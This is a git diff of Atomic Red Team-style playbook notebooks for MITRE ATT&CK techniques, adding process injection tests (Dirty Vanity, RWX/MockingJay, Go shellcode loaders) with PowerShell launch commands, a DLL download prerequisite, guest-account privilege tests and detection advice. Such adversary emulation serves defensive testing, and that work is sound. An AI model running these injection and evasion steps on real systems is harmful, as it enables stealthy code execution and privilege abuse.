view.\nThe shellcode is copied into the local section view and a remote section view is created in the target process, pointing to the local section view. \nA thread is then created in the target process, using the remote section view as start address.\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", - "```powershell\n$notepad = Start-Process notepad -passthru\nStart-Process $PathToAtomicsFolder\\T1055\\bin\\x64\\InjectView.exe\n```" + "```powershell\n$notepad = Start-Process notepad -passthru\nStart-Process \"$PathToAtomicsFolder\\T1055\\bin\\x64\\InjectView.exe\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "be57a48c", + "id": "ddeef1fd", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1055 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "b14e35d2", + "id": "d0ce9e51", "metadata": {}, "source": "#### Cleanup: \n```powershell\nStop-Process $notepad.pid```" }, { "cell_type": "code", "execution_count": null, - "id": "a5c024a9", + "id": "017abdab", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1055 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "67f490a3", + "id": "9398c603", + "metadata": {}, + "source": [ + "### Atomic Test #4 - Dirty Vanity process Injection", + "This test used the Windows undocumented remote-fork API RtlCreateProcessReflection to create a cloned process of the parent process\nwith shellcode written in its memory. The shellcode is executed after being forked to the child process. The technique was first presented at \nBlackHat Europe 2022. Shellcode will open a messsage box and a notepad.\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\nStart-Process \"$PathToAtomicsFolder\\T1055\\bin\\x64\\redVanity.exe\" (Start-Process calc.exe -PassThru).Id\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "cac47c03", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055 -TestNumbers 4" + }, + { + "cell_type": "markdown", + "id": "31c3cad5", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nGet-Process -Name calc, CalculatorApp -ErrorAction SilentlyContinue | Stop-Process -Force```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "0358fa04", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055 -TestNumbers 4 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "5c8274ad", + "metadata": {}, + "source": "### Atomic Test #5 - Read-Write-Execute process Injection\nThis test exploited the vulnerability in legitimate PE formats where sections have RWX permission and enough space for shellcode.\nThe RWX injection avoided the use of VirtualAlloc, WriteVirtualMemory, and ProtectVirtualMemory, thus evading detection mechanisms \nthat relied on API call sequences and heuristics. The RWX injection utilises API call sequences: LoadLibrary --> GetModuleInformation --> GetModuleHandleA --> RtlCopyMemory --> CreateThread.\nThe injected shellcode will open a message box and a notepad.\nRWX Process Injection, also known as MockingJay, was introduced to the security community by SecurityJoes.\nMore details can be found at https://www.securityjoes.com/post/process-mockingjay-echoing-rwx-in-userland-to-achieve-code-execution.\nThe original injector and idea were developed for game cheats, as visible at https://github.com/M-r-J-o-h-n/SWH-Injector.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Utility to inject must exist on disk at specified location (#{vuln_dll})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1055\\bin\\x64\\vuln_dll\\msys-2.0.dll\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1055\\bin\\x64\\vuln_dll\\msys-2.0.dll\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055/bin/x64/vuln_dll/msys-2.0.dll\" -OutFile \"PathToAtomicsFolder\\T1055\\bin\\x64\\vuln_dll\\msys-2.0.dll\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "891a451d", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055 -TestNumbers 5 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "cad6fdef", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$address = (& \"$PathToAtomicsFolder\\T1055\\bin\\x64\\searchVuln.exe\" \"$PathToAtomicsFolder\\T1055\\bin\\x64\\vuln_dll\\\" | Out-String | Select-String -Pattern \"VirtualAddress: (\\w+)\").Matches.Groups[1].Value\n& \"PathToAtomicsFolder\\T1055\\bin\\x64\\RWXinjectionLocal.exe\" \"PathToAtomicsFolder\\T1055\\bin\\x64\\vuln_dll\\msys-2.0.dll\" $address\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "04bda9a1", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055 -TestNumbers 5" + }, + { + "cell_type": "markdown", + "id": "e7ee332a", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nGet-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "9a5ead21", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055 -TestNumbers 5 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "628bbaf5", + "metadata": {}, + "source": [ + "### Atomic Test #6 - Process Injection with Go using UuidFromStringA WinAPI", + "Uses WinAPI UuidFromStringA to load shellcode to a memory address then executes the shellcode using EnumSystemLocalesA.\nWith this technique, memory is allocated on the heap and does not use commonly suspicious APIs such as VirtualAlloc, WriteProcessMemory, or CreateThread \n- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#uuidfromstringa)\n- References: \n - https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/\n - https://twitter.com/_CPResearch_/status/1352310521752662018\n - https://blog.securehat.co.uk/process-injection/shellcode-execution-via-enumsystemlocala\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$PathToAtomicsFolder\\T1055\\bin\\x64\\UuidFromStringA.exe -debug\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "42144d81", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055 -TestNumbers 6" + }, + { + "cell_type": "markdown", + "id": "93f7ad91", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nStop-Process -Name CalculatorApp -ErrorAction SilentlyContinue\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "e5370335", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055 -TestNumbers 6 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "7188ea3f", + "metadata": {}, + "source": [ + "### Atomic Test #7 - Process Injection with Go using EtwpCreateEtwThread WinAPI", + "Uses EtwpCreateEtwThread function from ntdll.dll to execute shellcode within the application's process.\nThis program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.\n\nSteps taken with this technique\n1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write\n2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space\n3. Change the memory page permissions to Execute/Read with VirtualProtect\n4. Call EtwpCreateEtwThread on shellcode address\n5. Call WaitForSingleObject so the program does not end before the shellcode is executed\n\n- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#EtwpCreateEtwThread)\n- References: \n - https://gist.github.com/TheWover/b2b2e427d3a81659942f4e8b9a978dc3\n - https://www.geoffchappell.com/studies/windows/win32/ntdll/api/etw/index.htm\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$PathToAtomicsFolder\\T1055\\bin\\x64\\EtwpCreateEtwThread.exe -debug\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "cffb014f", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055 -TestNumbers 7" + }, + { + "cell_type": "markdown", + "id": "bb583404", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nStop-Process -Name CalculatorApp -ErrorAction SilentlyContinue\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "d20326a5", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055 -TestNumbers 7 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "ba0e74cb", + "metadata": {}, + "source": [ + "### Atomic Test #8 - Remote Process Injection with Go using RtlCreateUserThread WinAPI", + "Executes shellcode in a remote process.\n\nSteps taken with this technique\n1. Get a handle to the target process\n2. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write\n3. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process\n4. Change the memory page permissions to Execute/Read with VirtualProtectEx\n5. Execute the entrypoint of the shellcode in the remote process with RtlCreateUserThread\n6. Close the handle to the remote process\n\n- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#rtlcreateuserthread)\n- References: \n - https://www.cobaltstrike.com/blog/cobalt-strikes-process-injection-the-details-cobalt-strike\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$process = Start-Process C:\\Windows\\System32\\werfault.exe -passthru\n$PathToAtomicsFolder\\T1055\\bin\\x64\\RtlCreateUserThread.exe -pid $process.Id -debug\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "89e858cc", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055 -TestNumbers 8" + }, + { + "cell_type": "markdown", + "id": "71608af1", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nStop-Process -Name CalculatorApp -ErrorAction SilentlyContinue\nStop-Process -Name werfault -ErrorAction SilentlyContinue\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "1a6f564c", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055 -TestNumbers 8 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "fed14bd0", + "metadata": {}, + "source": [ + "### Atomic Test #9 - Remote Process Injection with Go using CreateRemoteThread WinAPI", + "Leverages the Windows CreateRemoteThread function from Kernel32.dll to execute shellocde in a remote process.\n\nThis application leverages functions from the golang.org/x/sys/windows package, where feasible, like the windows.OpenProcess().\n\nSteps taken with this technique\n1. Get a handle to the target process\n2. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write\n3. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process\n4. Change the memory page permissions to Execute/Read with VirtualProtectEx\n5. Execute the entrypoint of the shellcode in the remote process with CreateRemoteThread\n6. Close the handle to the remote process\n\n- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createremotethread)\n - References:\n - https://www.ired.team/offensive-security/code-injection-process-injection/process-injection\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$process = Start-Process C:\\Windows\\System32\\werfault.exe -passthru\n$PathToAtomicsFolder\\T1055\\bin\\x64\\CreateRemoteThread.exe -pid $process.Id -debug\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "c3fd0047", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055 -TestNumbers 9" + }, + { + "cell_type": "markdown", + "id": "b9829f05", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nStop-Process -Name CalculatorApp -ErrorAction SilentlyContinue\nStop-Process -Name werfault -ErrorAction SilentlyContinue\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "f39d3aad", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055 -TestNumbers 9 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "beb52e7c", + "metadata": {}, + "source": [ + "### Atomic Test #10 - Remote Process Injection with Go using CreateRemoteThread WinAPI (Natively)", + "Leverages the Windows CreateRemoteThread function from Kernel32.dll to execute shellcode in a remote process.\n\nThis program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.\n\n1. Get a handle to the target process\n2. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write\n3. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process\n4. Change the memory page permissions to Execute/Read with VirtualProtectEx\n5. Execute the entrypoint of the shellcode in the remote process with CreateRemoteThread\n6. Close the handle to the remote process\n\n- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createremotethreadnative)\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$process = Start-Process C:\\Windows\\System32\\werfault.exe -passthru\n$PathToAtomicsFolder\\T1055\\bin\\x64\\CreateRemoteThreadNative.exe -pid $process.Id -debug\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "c427c71e", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055 -TestNumbers 10" + }, + { + "cell_type": "markdown", + "id": "02e29c35", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nStop-Process -Name CalculatorApp -ErrorAction SilentlyContinue\nStop-Process -Name werfault -ErrorAction SilentlyContinue\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "eaf384b8", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055 -TestNumbers 10 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "d7ca4aad", + "metadata": {}, + "source": [ + "### Atomic Test #11 - Process Injection with Go using CreateThread WinAPI", + "This program executes shellcode in the current process using the following steps\n1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write\n2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space\n3. Change the memory page permissions to Execute/Read with VirtualProtect\n4. Call CreateThread on shellcode address\n5. Call WaitForSingleObject so the program does not end before the shellcode is executed\n\nThis program leverages the functions from golang.org/x/sys/windows to call Windows procedures instead of manually loading them\n\n- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createthread)\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$PathToAtomicsFolder\\T1055\\bin\\x64\\CreateThread.exe -debug\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "13f87d5c", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055 -TestNumbers 11" + }, + { + "cell_type": "markdown", + "id": "ce930763", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nStop-Process -Name CalculatorApp -ErrorAction SilentlyContinue\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "8783a5b8", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055 -TestNumbers 11 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "ef07f778", + "metadata": {}, + "source": [ + "### Atomic Test #12 - Process Injection with Go using CreateThread WinAPI (Natively)", + "This program executes shellcode in the current process using the following steps\n1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write\n2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space\n3. Change the memory page permissions to Execute/Read with VirtualProtect\n4. Call CreateThread on shellcode address\n5. Call WaitForSingleObject so the program does not end before the shellcode is executed\n\nThis program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.\n\n- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createthreadnative)\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$PathToAtomicsFolder\\T1055\\bin\\x64\\CreateThreadNative.exe -debug\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "465ed7b3", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055 -TestNumbers 12" + }, + { + "cell_type": "markdown", + "id": "30ce5c4c", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nStop-Process -Name CalculatorApp -ErrorAction SilentlyContinue```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "825d532f", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055 -TestNumbers 12 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "11e1e915", "metadata": {}, "source": "## Detection\nMonitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) \n\nMonitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. \n\nMonitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) \n\nMonitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules.(Citation: Microsoft Sysmon v6 May 2017) \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. " }, { "cell_type": "markdown", - "id": "5504c664", + "id": "4ef3fe1d", "metadata": {}, "source": "\n## Shield Active Defense\n### Security Controls \n Alter security controls to make the system more or less vulnerable to attack. \n\n Manipulating security controls involves making configuration changes to the security settings of a system including things like modifying Group Policies, disabling/enabling autorun for removable media, and tightening or relaxing system firewalls, etc.\n#### Opportunity\nIn an adversary engagement scenario, there is an opportunity to implement security controls to support your defensive objectives over a prolonged engagement.\n#### Use Case\nA defender could implement security controls to have an effect on process injection techniques such as AppLocker or an Antivirus/EDR tool designed to watch for CreateRemoteThread events.\n#### Procedures\nWeaken security controls on a system to allow for leaking of credentials via network connection poisoning.\nImplement policies on a system to prevent the insecure storage of passwords in the registry. This may force an adversary to revert these changes or find another way to access cached credentials.\n" } @@ -124,13 +449,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1058.ipynb b/playbook/tactics/privilege-escalation/T1058.ipynb deleted file mode 100644 index 6a2c0cec..00000000 --- a/playbook/tactics/privilege-escalation/T1058.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "d10d4ce5", - "metadata": {}, - "source": "# T1058 - Service Registry Permissions Weakness\nWindows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1086), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: MSDN Registry Key Security)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter Registry keys associated with service failure parameters (such as FailureCommand) that may be executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: TrustedSignal Service Failure)(Citation: Twitter Service Recovery Nov 2017)" - }, - { - "cell_type": "markdown", - "id": "1c83ecee", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "1197d346", - "metadata": {}, - "source": "## Detection\nService changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/privilege-escalation/T1068.ipynb b/playbook/tactics/privilege-escalation/T1068.ipynb index 8b7e6e0a..24dc7cb8 100644 --- a/playbook/tactics/privilege-escalation/T1068.ipynb +++ b/playbook/tactics/privilege-escalation/T1068.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "6d417bef", + "id": "ac9d8674", "metadata": {}, "source": "# T1068 - Exploitation for Privilege Escalation\nAdversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.\n\nWhen initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This could also enable an adversary to move from a virtualized environment, such as within a virtual machine or container, onto the underlying host. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods.\n\nAdversaries may bring a signed vulnerable driver onto a compromised machine so that they can exploit the vulnerability to execute code in kernel mode. This process is sometimes referred to as Bring Your Own Vulnerable Driver (BYOVD).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020) Adversaries may include the vulnerable driver with files delivered during Initial Access or download it to a compromised system via [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) or [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570)." }, { "cell_type": "markdown", - "id": "5b032ed9", + "id": "8c3f79a7", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "e84980d6", + "id": "4e587ebe", "metadata": {}, "source": "## Detection\nDetecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery. Consider monitoring for the presence or loading (ex: Sysmon Event ID 6) of known vulnerable drivers that adversaries may drop and exploit to execute code in kernel mode.(Citation: Microsoft Driver Block Rules)\n\nHigher privileges are often necessary to perform additional actions such as some methods of [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Look for additional activity that may indicate an adversary has gained higher privileges." }, { "cell_type": "markdown", - "id": "5b3554cf", + "id": "0cfdc536", "metadata": {}, "source": "\n## Shield Active Defense\n### Admin Access \n Modify a user's administrative privileges.\n \n\n Changing the target system to allow or disallow users to perform tasks requiring administrator level permissions gives the defender leverage in inhibiting or facilitating attacks. The procedures for changing these permissions vary across different operating and software systems.\n#### Opportunity\nThere is an opportunity to study the adversary and collect first-hand observations about them and their tools.\n#### Use Case\nA defender can configure system users to not have admin access in order to ensure privilege escalation requires exploitation.\n#### Procedures\nRemove an account's administrative access from a system or service to require an adversary to reveal techniques for elevating privileges in order to accomplish certain tasks.\nGrant an account administrative access to a system or service to enable an adversary to take advantage of those privileges if they compromise the system or service.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1078.001.ipynb b/playbook/tactics/privilege-escalation/T1078.001.ipynb index 917a1e2e..d6ce7b47 100644 --- a/playbook/tactics/privilege-escalation/T1078.001.ipynb +++ b/playbook/tactics/privilege-escalation/T1078.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "bfac700a", + "id": "b03243c1", "metadata": {}, "source": "# T1078.001 - Default Accounts\nAdversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)\n\nDefault accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)" }, { "cell_type": "markdown", - "id": "37f01ad0", + "id": "a2c2b792", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "844d76c8", + "id": "fe511237", "metadata": {}, "source": [ "### Atomic Test #1 - Enable Guest account with RDP capability and admin privileges", @@ -28,28 +28,28 @@ { "cell_type": "code", "execution_count": null, - "id": "d509b65f", + "id": "04d09efd", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1078.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "594a6178", + "id": "62fd1d7c", "metadata": {}, "source": "#### Cleanup: \n```cmd\nnet user guest /active:no >nul 2>&1\nnet localgroup Administrators guest /delete >nul 2>&1\nnet localgroup \"Remote Desktop Users\" guest /delete >nul 2>&1\nif 0 NEQ 1 (echo Note: set remove_rdp_access_during_cleanup input argument to disable RDP access during cleanup)\nif 0 EQU 1 (reg delete \"hklm\\system\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /f >nul 2>&1)\nif 0 EQU 1 (reg delete \"hklm\\system\\CurrentControlSet\\Control\\Terminal Server\" /v \"AllowTSConnections\" /f >nul 2>&1)```" }, { "cell_type": "code", "execution_count": null, - "id": "136a8154", + "id": "f04db2d9", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1078.001 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "c66787ae", + "id": "43d93b9f", "metadata": {}, "source": [ "### Atomic Test #2 - Activate Guest Account", @@ -63,28 +63,63 @@ { "cell_type": "code", "execution_count": null, - "id": "da6980b4", + "id": "952d3a91", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1078.001 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "b614d4ef", + "id": "78e777b0", "metadata": {}, "source": "#### Cleanup: \n```cmd\nnet user guest /active:no\n```" }, { "cell_type": "code", "execution_count": null, - "id": "74e0e8e0", + "id": "045e6cde", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1078.001 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "c2b2c346", + "id": "c6a94cf0", + "metadata": {}, + "source": [ + "### Atomic Test #3 - Enable Guest Account on macOS", + "This test enables the guest account on macOS using sysadminctl utility.", + "**Supported Platforms:** macos", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\nsudo sysadminctl -guestAccount on```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "d7ba1882", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.001 -TestNumbers 3" + }, + { + "cell_type": "markdown", + "id": "fcd8758c", + "metadata": {}, + "source": "#### Cleanup: \n```cmd\nsudo sysadminctl -guestAccount off```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "7fb27da9", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.001 -TestNumbers 3 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "b5a29af3", "metadata": {}, "source": "## Detection\nMonitor whether default accounts have been activated or logged into. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately." } @@ -92,13 +127,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1078.002.ipynb b/playbook/tactics/privilege-escalation/T1078.002.ipynb index f115a506..1b1b2ce3 100644 --- a/playbook/tactics/privilege-escalation/T1078.002.ipynb +++ b/playbook/tactics/privilege-escalation/T1078.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": 